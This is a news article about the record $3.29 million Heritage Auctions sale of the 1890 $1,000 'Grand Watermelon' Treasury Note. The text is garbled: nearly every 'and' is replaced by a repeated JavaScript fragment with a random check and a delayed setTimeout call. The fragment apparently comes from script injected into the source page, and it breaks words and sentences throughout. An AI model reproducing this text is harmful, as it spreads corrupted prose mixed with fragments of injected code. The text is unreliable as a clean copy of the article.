ORLANDO, FLA. — The rarest andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and arguably the most famous of all US currency notes, the 1890 $1,000 Treasury Note, popularly referred to as the “Grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Watermelon note” — due to the design of the large zeroes on the reversed side of the bill that resemble watermelons — became the single most valuable piece of currency in the world when it was sold for $3.29 million, including buyer’s premium, by Dallas-based Heritage Auctions.

Far exceeding its estimate of $2 million, it sold as part of the Florida United Numismatics (FUN) Convention’s rare currency auction on Friday, January 10. The last time this note was offered at auction was in 1970, when it brought $11,000.

“This note is an icon of American financial history — andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and is the only known example in private handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands,” said Dustin Johnston, director of rare currency at Heritage Auctions. “Collectors knew this was not a chance that was going to come around again anytime soon, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and they bid accordingly. The result being that this beautiful little piece of paper is now the most valuable of its kind in the world andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and has a new chapter to add to its legend.”

The note sold to a private collector who wished to remain anonymous.

Also topping the seven-figure mark in the auction was an 1882 $500 Gold Certificate, which was also the subject of very spirited bidding before it finished at $1.4 million.

A full report on Heritage’s record-breaking week of coin andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and currency auctions will appear in a future issue.